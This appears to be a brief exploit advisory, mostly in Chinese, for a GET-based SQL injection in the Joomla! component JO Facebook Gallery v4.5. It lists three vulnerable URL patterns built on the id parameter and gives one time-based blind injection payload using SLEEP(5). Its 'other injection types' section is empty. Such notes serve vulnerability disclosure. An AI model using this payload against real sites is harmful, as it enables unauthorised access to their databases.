Joomla! Component JO Facebook Gallery v4.5 - SQL Injection
index.php中的id参数带入SQL语句存在GET类型注入
注入点:
    http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=category&id=[SQL]
    http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=albums&id=[SQL]
    http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=photo&id=[SQL]
时间盲注 payload:
    option=com_jofacebookgallery&view=category&id=1 AND SLEEP(5)
其他类型的注入:

                      
                    
                  
                
              
             
        
          
暂无评论